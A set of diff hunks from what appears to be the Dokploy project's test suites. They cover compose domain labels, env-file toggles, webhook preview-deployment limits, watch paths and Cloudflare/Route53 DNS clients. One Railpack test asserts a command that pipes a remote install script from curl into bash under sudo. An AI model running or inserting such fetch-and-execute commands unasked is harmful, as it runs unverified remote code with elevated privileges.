appName: "test-app",
composeType: "docker-compose",
composePath: "docker-compose.yml",
sourceType: "raw",
serverId: null,
isolatedDeployment: false,
randomize: false,
suffix: "",
get composeFile() {
return composeYaml;
},
} as unknown as Compose;
const baseDomain: Domain = {
host: "frigate.example.com",
port: 8971,
customEntrypoint: null,
https: false,
uniqueConfigKey: 1,
customCertResolver: null,
certificateType: "none",
applicationId: "",
composeId: "compose-id",
domainType: "compose",
serviceName: "frigate",
domainId: "domain-id",
path: "/",
createdAt: "",
previewDeploymentId: "",
internalPath: "/",
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
const serviceLabels = (
result: Awaited<ReturnType<typeof addDomainToCompose>>,
) => (result?.services?.frigate?.labels as string[] | undefined) ?? [];
describe("addDomainToCompose enabled filtering", () => {
beforeEach(() => {
vi.clearAllMocks();
composeYaml = baseComposeYaml;
});
it("generates traefik labels for an enabled domain", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: true },
]);
const labels = serviceLabels(result);
expect(labels).toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
true,
);
});
it("skips a disabled domain entirely (no traefik labels)", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, enabled: false },
]);
const labels = serviceLabels(result);
expect(labels).not.toContain("traefik.enable=true");
expect(labels.some((l) => l.includes("Host(`frigate.example.com`)"))).toBe(
false,
);
});
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
- traefik.enable=true
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes=/api
- custom.label=preserved
`,
],
] as const)(
"removes stale labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
legacy:
image: frigate
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
[
"stack",
`services:
legacy:
image: frigate
deploy:
labels:
- traefik.http.routers.test-app-1-web.rule=Host(\`frigate.example.com\`)
- traefik.http.services.test-app-1-web.loadbalancer.server.port=8971
- custom.label=preserved
frigate:
image: frigate
`,
],
] as const)(
"removes stale labels from the previous %s service after reassignment",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, serviceName: "frigate", enabled: false },
]);
const previousService = result?.services?.legacy;
const labels =
composeType === "docker-compose"
? previousService?.labels
: previousService?.deploy?.labels;
expect(labels).toContain("custom.label=preserved");
expect(
(labels as string[]).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`frigate.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
traefik.http.middlewares.stripprefix-test-app-1.stripprefix.prefixes: /api
custom.label: preserved
`,
],
] as const)(
"removes stale mapping labels for a disabled domain from %s rebuilds",
async (composeType, staleComposeYaml) => {
composeYaml = staleComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: false },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({ "custom.label": "preserved" });
expect(
Object.keys(labels ?? {}).some((label) => label.includes("test-app-1")),
).toBe(false);
},
);
it.each([
[
"docker-compose",
`services:
frigate:
image: frigate
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.docker.network",
],
[
"stack",
`services:
frigate:
image: frigate
deploy:
labels:
traefik.enable: "true"
traefik.http.routers.test-app-1-web.rule: Host(\`old.example.com\`)
traefik.http.services.test-app-1-web.loadbalancer.server.port: 8971
custom.label: preserved
`,
"traefik.swarm.network",
],
] as const)(
"regenerates routing in mapping labels for an enabled domain in %s",
async (composeType, mappingComposeYaml, networkLabel) => {
composeYaml = mappingComposeYaml;
const result = await addDomainToCompose({ ...baseCompose, composeType }, [
{ ...baseDomain, enabled: true },
]);
const service = result?.services?.frigate;
const labels =
composeType === "docker-compose"
? service?.labels
: service?.deploy?.labels;
expect(labels).toMatchObject({
"custom.label": "preserved",
"traefik.enable": "true",
[networkLabel]: "dokploy-network",
"traefik.http.routers.test-app-1-web.rule":
"Host(`frigate.example.com`)",
"traefik.http.services.test-app-1-web.loadbalancer.server.port": "8971",
});
},
);
it("emits labels only for the enabled domain when both are present", async () => {
const result = await addDomainToCompose(baseCompose, [
{ ...baseDomain, host: "enabled.example.com", enabled: true },
{
...baseDomain,
host: "disabled.example.com",
uniqueConfigKey: 2,
enabled: false,
},
]);
const labels = serviceLabels(result);
expect(labels.some((l) => l.includes("Host(`enabled.example.com`)"))).toBe(
true,
);
expect(labels.some((l) => l.includes("Host(`disabled.example.com`)"))).toBe(
false,
);
});
});

View File

@ -35,6 +35,7 @@ describe("Host rule format regression tests", () => {
customEntrypoint: null,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
describe("Host rule format validation", () => {

View File

@ -24,6 +24,7 @@ describe("createDomainLabels", () => {
stripPath: false,
middlewares: null,
forwardAuthEnabled: false,
enabled: true,
};
it("should create basic labels for web entrypoint", async () => {

View File

@ -0,0 +1,59 @@
import { addDomainToCompose } from "@dokploy/server/utils/docker/domain";
import { execAsyncRemote } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => ({
...(await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>()),
execAsyncRemote: vi.fn(),
}));
describe("raw remote compose conversion (#4794)", () => {
it("uses the saved raw source and preserves supported mount syntax", async () => {
vi.mocked(execAsyncRemote).mockResolvedValue({
stdout: "services:\n test:\n image: alpine:latest\n",
stderr: "",
});
const compose = {
appName: "raw-stack",
composeFile: `
services:
test:
image: alpine:latest
volumes:
- type: tmpfs
target: /scratch
- type: volume
source: test-data
target: /data
tmpfs:
- /cache
volumes:
test-data:
`,
composePath: "./docker-compose.yml",
composeType: "stack",
isolatedDeployment: false,
isolatedDeploymentsVolume: false,
randomize: false,
serverId: "remote-server",
sourceType: "raw",
suffix: "",
} as unknown as Parameters<typeof addDomainToCompose>[0];
const converted = await addDomainToCompose(compose, []);
expect(converted?.services?.test?.volumes).toEqual([
{ type: "tmpfs", target: "/scratch" },
{
type: "volume",
source: "test-data",
target: "/data",
},
]);
expect(converted?.services?.test?.tmpfs).toEqual(["/cache"]);
expect(execAsyncRemote).not.toHaveBeenCalled();
});
});

View File

@ -32,6 +32,9 @@ const cases: Record<string, string> = {
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: "-----BEGIN KEY-----\nabc123\n-----END KEY-----",
APP_URL: "https://example.com",
ASSET_URL: "https://example.com",
DB_HOST: "localhost",
};
// How each value must be typed in the UI so the (unchanged) dotenv input
@ -46,6 +49,9 @@ const inputEncoding: Record<string, string> = {
APOSTROPHE: "it's a test",
UNICODE: "héllo wörld 日本語 🚀",
MULTILINE_PEM: '"-----BEGIN KEY-----\nabc123\n-----END KEY-----"',
APP_URL: "https://example.com",
ASSET_URL: '"${APP_URL}"',
DB_HOST: '"${UNDEFINED_HOST:-localhost}"',
};
describe("getCreateEnvFileCommand", () => {

View File

@ -0,0 +1,45 @@
import { getBuildComposeCommand } from "@dokploy/server/utils/builders/compose";
import { describe, expect, it, vi } from "vitest";
// Compose now has a `createEnvFile` toggle (default true), mirroring the
// Application builder's flag: when disabled, Dokploy never writes `.env`,
// so a repo-tracked file survives untouched.
vi.mock("@dokploy/server/utils/docker/domain", () => ({
writeDomainsToCompose: vi.fn().mockResolvedValue(""),
}));
const baseCompose = {
appName: "env-file-toggle",
sourceType: "raw",
command: "",
composePath: "docker-compose.yml",
composeType: "docker-compose",
isolatedDeployment: false,
randomize: false,
suffix: "",
serverId: null,
env: "FOO=bar",
mounts: [],
domains: [],
environment: { project: { env: "" }, env: "" },
} as unknown as Parameters<typeof getBuildComposeCommand>[0];
describe("getBuildComposeCommand createEnvFile toggle", () => {
it("createEnvFile: false never writes the .env file", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: false,
});
expect(command).not.toContain("base64 -d >");
});
it("createEnvFile: true (default) writes Dokploy's vars", async () => {
const command = await getBuildComposeCommand({
...baseCompose,
createEnvFile: true,
});
expect(command).toContain("base64 -d >");
});
});

View File

@ -12,6 +12,8 @@ const mocks = vi.hoisted(() => ({
queueAdd: vi.fn(),
verify: vi.fn(),
shouldDeploy: vi.fn(),
createPreviewDeployment: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
}));
vi.mock("drizzle-orm", () => ({
@ -64,10 +66,11 @@ vi.mock("@dokploy/server", () => ({
IS_CLOUD: false,
shouldDeploy: mocks.shouldDeploy,
checkUserRepositoryPermissions: vi.fn(),
createPreviewDeployment: vi.fn(),
createPreviewDeployment: mocks.createPreviewDeployment,
createSecurityBlockedComment: vi.fn(),
findGithubById: vi.fn(),
findPreviewDeploymentByApplicationId: vi.fn(),
findPreviewDeploymentByApplicationId:
mocks.findPreviewDeploymentByApplicationId,
findPreviewDeploymentsByPullRequestId: vi.fn(),
getBitbucketHeaders: vi.fn(() => ({})),
removePreviewDeployment: vi.fn(),
@ -321,3 +324,157 @@ describe("GitHub app webhook auto-deploy", () => {
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
});
});
describe("GitHub app webhook preview deployments", () => {
const createApplication = (
overrides: Record<string, unknown> = {},
): Record<string, unknown> => ({
applicationId: "application-id",
name: "my-app",
serverId: null,
previewLabels: [],
previewLimit: 3,
previewDeployments: [],
previewRequireCollaboratorPermissions: false,
...overrides,
});
const createPreviewDeployments = (total: number) =>
Array.from({ length: total }, (_, index) => ({
previewDeploymentId: `existing-preview-${index}`,
}));
const createPullRequestRequest = (action: string) =>
({
headers: {
"x-hub-signature-256": "sha256=test-signature",
"x-github-event": "pull_request",
},
body: {
installation: {
id: 12345,
},
action,
pull_request: {
id: 987,
number: 42,
title: "feat: add preview",
html_url: "https://github.com/agentHits/dokploy/pull/42",
labels: [],
user: {
login: "agentHits",
},
head: {
ref: "feature",
sha: "abc123",
},
base: {
ref: "main",
},
},
repository: {
name: "dokploy",
owner: {
login: "agentHits",
},
},
},
}) as unknown as NextApiRequest;
beforeEach(() => {
vi.clearAllMocks();
mocks.githubFindFirst.mockResolvedValue({
githubId: "github-provider-id",
githubInstallationId: 12345,
githubWebhookSecret: "webhook-secret",
});
mocks.verify.mockResolvedValue(true);
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
mocks.createPreviewDeployment.mockResolvedValue({
previewDeploymentId: "new-preview-id",
});
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
});
it("redeploys an existing preview even when the limit is reached", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: 2,
previewDeployments: createPreviewDeployments(3),
}),
]);
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
previewDeploymentId: "existing-preview-0",
});
const res = createResponse();
await handler(createPullRequestRequest("synchronize"), res);
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application-preview",
previewDeploymentId: "existing-preview-0",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
});
it("does not create a new preview once the limit is reached", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: 2,
previewDeployments: createPreviewDeployments(2),
}),
]);
const res = createResponse();
await handler(createPullRequestRequest("opened"), res);
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
expect(mocks.queueAdd).not.toHaveBeenCalled();
expect(res.status).toHaveBeenCalledWith(200);
});
it("falls back to the default limit when none is configured", async () => {
mocks.applicationsFindMany.mockResolvedValue([
createApplication({
previewLimit: null,
previewDeployments: createPreviewDeployments(2),
}),
]);
const res = createResponse();
await handler(createPullRequestRequest("opened"), res);
expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
expect.objectContaining({
applicationId: "application-id",
branch: "feature",
pullRequestId: 987,
pullRequestNumber: 42,
}),
);
expect(mocks.queueAdd).toHaveBeenCalledWith(
"deployments",
expect.objectContaining({
applicationId: "application-id",
applicationType: "application-preview",
previewDeploymentId: "new-preview-id",
type: "deploy",
}),
expect.objectContaining({
removeOnComplete: true,
removeOnFail: true,
}),
);
expect(res.status).toHaveBeenCalledWith(200);
});
});

View File

@ -50,6 +50,15 @@ describe("getRailpackCommand", () => {
expect(command).toContain("--build-arg cache-key=");
});
it("installs Railpack through sudo for non-root users", () => {
const command = getRailpackCommand(createApplication());
expect(command).toContain(
'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
);
expect(command).toContain("sudo -n true 2>/dev/null");
});
it("changes secrets-hash when an environment value changes", () => {
const firstCommand = getRailpackCommand(
createApplication({

View File

@ -16,6 +16,30 @@ describe("shouldDeploy", () => {
expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
});
it("should apply multiple negated watch paths as one pattern set", () => {
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
false,
);
});
it("should deploy when a changed file remains after exclusions", () => {
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
});
it("should combine positive and negated watch paths", () => {
const watchPaths = ["src/**", "!src/**/*.test.ts"];
expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
});
it("should not throw when modified files contain non-string values", () => {
expect(() =>
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),

View File

@ -0,0 +1,214 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const mockFetch = vi.fn();
global.fetch = mockFetch as typeof fetch;
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
const jsonResponse = (body: unknown, ok = true, status = 200) =>
({
ok,
status,
json: async () => body,
}) as Response;
const cfSuccess = (result: unknown) =>
jsonResponse({ success: true, errors: [], result });
const cfError = (message: string, status = 400) =>
jsonResponse(
{ success: false, errors: [{ code: 1, message }] },
false,
status,
);
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
beforeEach(() => {
mockFetch.mockReset();
});
describe("cloudflareClient.listZones", () => {
it("returns a single page of zones", async () => {
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
const zones = await cloudflareClient.listZones(config);
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
expect(mockFetch).toHaveBeenCalledTimes(1);
const [url] = mockFetch.mock.calls[0] as [string];
expect(url).toContain("/zones?per_page=50&page=1");
});
it("paginates until a short page is returned", async () => {
const page = (count: number) =>
cfSuccess(
Array.from({ length: count }, (_, i) => ({
id: `z${i}`,
name: `zone${i}.com`,
})),
);
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
const zones = await cloudflareClient.listZones(config);
expect(zones).toHaveLength(53);
expect(mockFetch).toHaveBeenCalledTimes(2);
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
});
});
describe("cloudflareClient.listRecords", () => {
it("lists records for a zone", async () => {
mockFetch.mockResolvedValue(
cfSuccess([
{
id: "r1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
},
]),
);
const records = await cloudflareClient.listRecords(config, "zone-1");
expect(records).toEqual([
{
id: "r1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 1,
},
]);
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
});
});
describe("cloudflareClient.upsertRecord", () => {
it("creates a record when none exists for the name/type", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "new-1" });
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
expect(createInit.method).toBe("POST");
});
it("updates the existing record instead of creating a duplicate", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([{ id: "existing-1" }]))
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
const result = await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "A",
name: "app.example.com",
content: "5.6.7.8",
});
expect(result).toEqual({ id: "existing-1" });
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
string,
RequestInit,
];
expect(updateUrl).toContain("/dns_records/existing-1");
expect(updateInit.method).toBe("PUT");
});
it("defaults ttl to 1 (automatic) when not provided", async () => {
mockFetch
.mockResolvedValueOnce(cfSuccess([]))
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
await cloudflareClient.upsertRecord(config, {
zoneId: "zone-1",
type: "CNAME",
name: "www.example.com",
content: "example.com",
});
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
const body = JSON.parse(createInit.body as string);
expect(body.ttl).toBe(1);
});
});
describe("cloudflareClient.updateRecord", () => {
it("PUTs directly to the given record id", async () => {
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
});
expect(result).toEqual({ id: "r1" });
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/zones/zone-1/dns_records/r1");
expect(init.method).toBe("PUT");
expect(JSON.parse(init.body as string)).toEqual({
type: "A",
name: "app.example.com",
content: "9.9.9.9",
ttl: 300,
});
});
});
describe("cloudflareClient.deleteRecord", () => {
it("DELETEs the given record id", async () => {
mockFetch.mockResolvedValue(cfSuccess({}));
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect(url).toContain("/zones/zone-1/dns_records/r1");
expect(init.method).toBe("DELETE");
});
});
describe("cloudflareClient.testConnection", () => {
it("succeeds when the token can list zones", async () => {
mockFetch.mockResolvedValue(cfSuccess([]));
await expect(
cloudflareClient.testConnection(config),
).resolves.toBeUndefined();
});
it("surfaces Cloudflare's error message on an invalid token", async () => {
mockFetch.mockResolvedValue(cfError("Invalid API Token"));
await expect(cloudflareClient.testConnection(config)).rejects.toThrow(
"Invalid API Token",
);
});
});
describe("cloudflareClient auth header", () => {
it("trims whitespace pasted into the token", async () => {
mockFetch.mockResolvedValue(cfSuccess([]));
await cloudflareClient.testConnection({
providerType: "cloudflare",
apiToken: " cf-token\n",
});
const [, init] = mockFetch.mock.calls[0] as [string, RequestInit];
expect((init.headers as Record<string, string>).Authorization).toBe(
"Bearer cf-token",
);
});
});

View File

@ -0,0 +1,116 @@
import { describe, expect, it, vi } from "vitest";
vi.mock("@dokploy/server/db", () => ({
db: {
query: { dnsProvider: { findFirst: vi.fn(), findMany: vi.fn() } },
insert: vi.fn(),
update: vi.fn(),
delete: vi.fn(),
},
}));
import {
DNS_SECRET_MASK,
maskDnsProviderConfig,
mergeDnsProviderConfig,
} from "@dokploy/server/services/dns-provider";
describe("maskDnsProviderConfig", () => {
it("masks the apiToken for a cloudflare config", () => {
const masked = maskDnsProviderConfig({
providerType: "cloudflare",
apiToken: "real-token",
});
expect(masked).toEqual({
providerType: "cloudflare",
apiToken: DNS_SECRET_MASK,
});
});
it("masks only the secretAccessKey for a route53 config, keeping accessKeyId visible", () => {
const masked = maskDnsProviderConfig({
providerType: "route53",
accessKeyId: "AKIA_VISIBLE",
secretAccessKey: "shh",
});
expect(masked).toEqual({
providerType: "route53",
accessKeyId: "AKIA_VISIBLE",
secretAccessKey: DNS_SECRET_MASK,
});
});
it("leaves an empty sensitive field untouched instead of masking a blank value", () => {
const masked = maskDnsProviderConfig({
providerType: "cloudflare",
apiToken: "",
});
expect(masked).toEqual({ providerType: "cloudflare", apiToken: "" });
});
});
describe("mergeDnsProviderConfig", () => {
it("restores the real secret when the incoming config still has the mask placeholder", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "real-token",
};
const incoming = {
providerType: "cloudflare" as const,
apiToken: DNS_SECRET_MASK,
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(existing);
});
it("keeps a freshly entered secret instead of the stored one", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "old-token",
};
const incoming = {
providerType: "cloudflare" as const,
apiToken: "new-token",
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual(incoming);
});
it("throws when switching provider type while the field is still masked", () => {
const existing = {
providerType: "cloudflare" as const,
apiToken: "real-token",
};
const incoming = {
providerType: "route53" as const,
accessKeyId: "AKIA",
secretAccessKey: DNS_SECRET_MASK,
};
expect(() => mergeDnsProviderConfig(incoming, existing)).toThrow(
"Credentials must be re-entered",
);
});
it("does not require re-entry for fields that are not sensitive", () => {
const existing = {
providerType: "route53" as const,
accessKeyId: "AKIA_OLD",
secretAccessKey: "old-secret",
};
const incoming = {
providerType: "route53" as const,
accessKeyId: "AKIA_NEW",
secretAccessKey: DNS_SECRET_MASK,
};
expect(mergeDnsProviderConfig(incoming, existing)).toEqual({
providerType: "route53",
accessKeyId: "AKIA_NEW",
secretAccessKey: "old-secret",
});
});
});

View File

@ -0,0 +1,288 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
type HasInput = { input: any };
const {
send,
Route53Client,
ListHostedZonesCommand,
ListResourceRecordSetsCommand,
ChangeResourceRecordSetsCommand,
} = vi.hoisted(() => {
class FakeCommand {
input: any;
constructor(input: any) {
this.input = input;
}
}
const send = vi.fn();
class Route53Client {
send(command: unknown) {
return send(command);
}
}
return {
send,
Route53Client,
ListHostedZonesCommand: class extends FakeCommand {},
ListResourceRecordSetsCommand: class extends FakeCommand {},
ChangeResourceRecordSetsCommand: class extends FakeCommand {},
};
});
vi.mock("@aws-sdk/client-route-53", () => ({
Route53Client,
ListHostedZonesCommand,
ListResourceRecordSetsCommand,
ChangeResourceRecordSetsCommand,
}));
import { route53Client } from "@dokploy/server/utils/dns/route53";
const config = {
providerType: "route53" as const,
accessKeyId: "AKIA_TEST",
secretAccessKey: "secret",
};
beforeEach(() => {
send.mockReset();
});
describe("route53Client.listZones", () => {
it("strips the hostedzone prefix and the trailing dot", async () => {
send.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z123", Name: "example.com." }],
IsTruncated: false,
});
const zones = await route53Client.listZones(config);
expect(zones).toEqual([{ id: "Z123", name: "example.com" }]);
});
it("follows the marker until IsTruncated is false", async () => {
send
.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z1", Name: "a.com." }],
IsTruncated: true,
NextMarker: "marker-1",
})
.mockResolvedValueOnce({
HostedZones: [{ Id: "/hostedzone/Z2", Name: "b.com." }],
IsTruncated: false,
});
const zones = await route53Client.listZones(config);
expect(zones).toEqual([
{ id: "Z1", name: "a.com" },
{ id: "Z2", name: "b.com" },
]);
expect(send).toHaveBeenCalledTimes(2);
expect((send.mock.calls[1]?.[0] as HasInput).input.Marker).toBe("marker-1");
});
});
describe("route53Client.listRecords", () => {
it("builds a type:name id and strips the trailing dot from the name", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
},
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records).toEqual([
{
id: "A:app.example.com",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
ttl: 300,
},
]);
});
it("skips record sets with no ResourceRecords (e.g. alias targets)", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{ Name: "alias.example.com.", Type: "A", ResourceRecords: [] },
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records).toEqual([]);
});
it("joins multiple values for the same record", async () => {
send.mockResolvedValueOnce({
ResourceRecordSets: [
{
Name: "example.com.",
Type: "NS",
TTL: 172800,
ResourceRecords: [
{ Value: "ns1.example.com" },
{ Value: "ns2.example.com" },
],
},
],
IsTruncated: false,
});
const records = await route53Client.listRecords(config, "Z123");
expect(records[0]?.content).toBe("ns1.example.com, ns2.example.com");
});
});
describe("route53Client.upsertRecord", () => {
it("sends a single UPSERT change", async () => {
send.mockResolvedValueOnce({});
const result = await route53Client.upsertRecord(config, {
zoneId: "Z123",
type: "A",
name: "app.example.com",
content: "1.2.3.4",
});
expect(result).toEqual({ id: "A:app.example.com" });
const command = send.mock.calls[0]?.[0] as HasInput;
expect(command.input.HostedZoneId).toBe("Z123");
expect(command.input.ChangeBatch.Changes).toEqual([
{
Action: "UPSERT",
ResourceRecordSet: {
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
},
},
]);
});
});
describe("route53Client.updateRecord", () => {
it("only UPSERTs when the name/type identity did not change", async () => {
send.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "A:app.example.com", {
type: "A",
name: "app.example.com",
content: "9.9.9.9",
});
expect(send).toHaveBeenCalledTimes(1);
const command = send.mock.calls[0]?.[0] as HasInput;
expect(command.input.ChangeBatch.Changes).toHaveLength(1);
expect(command.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
});
it("deletes the old record set and creates the new one on rename", async () => {
const existingSet = {
Name: "old.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
};
send
.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] }) // findExactRecordSet lookup
.mockResolvedValueOnce({}); // ChangeResourceRecordSets
await route53Client.updateRecord(config, "Z123", "A:old.example.com", {
type: "A",
name: "new.example.com",
content: "1.1.1.1",
});
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
{ Action: "DELETE", ResourceRecordSet: existingSet },
{
Action: "UPSERT",
ResourceRecordSet: {
Name: "new.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.1.1.1" }],
},
},
]);
});
it("skips the DELETE when the old record no longer exists", async () => {
send
.mockResolvedValueOnce({ ResourceRecordSets: [] })
.mockResolvedValueOnce({});
await route53Client.updateRecord(config, "Z123", "A:gone.example.com", {
type: "A",
name: "new.example.com",
content: "1.1.1.1",
});
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toHaveLength(1);
expect(changeCommand.input.ChangeBatch.Changes[0].Action).toBe("UPSERT");
});
});
describe("route53Client.deleteRecord", () => {
it("deletes the record set found by name/type", async () => {
const existingSet = {
Name: "app.example.com.",
Type: "A",
TTL: 300,
ResourceRecords: [{ Value: "1.2.3.4" }],
};
send.mockResolvedValueOnce({ ResourceRecordSets: [existingSet] });
send.mockResolvedValueOnce({});
await route53Client.deleteRecord(config, "Z123", "A:app.example.com");
const changeCommand = send.mock.calls[1]?.[0] as HasInput;
expect(changeCommand.input.ChangeBatch.Changes).toEqual([
{ Action: "DELETE", ResourceRecordSet: existingSet },
]);
});
it("throws when the record no longer exists", async () => {
send.mockResolvedValueOnce({ ResourceRecordSets: [] });
await expect(
route53Client.deleteRecord(config, "Z123", "A:gone.example.com"),
).rejects.toThrow("not found");
});
it("throws for a malformed record id", async () => {
await expect(
route53Client.deleteRecord(config, "Z123", "not-a-valid-id"),
).rejects.toThrow("Invalid Route53 record id");
});
});
describe("route53Client.testConnection", () => {
it("resolves when ListHostedZones succeeds", async () => {
send.mockResolvedValueOnce({ HostedZones: [] });
await expect(route53Client.testConnection(config)).resolves.toBeUndefined();
});
it("propagates SDK errors", async () => {
send.mockRejectedValueOnce(new Error("InvalidClientTokenId"));
await expect(route53Client.testConnection(config)).rejects.toThrow(
"InvalidClientTokenId",
);
});
});

618
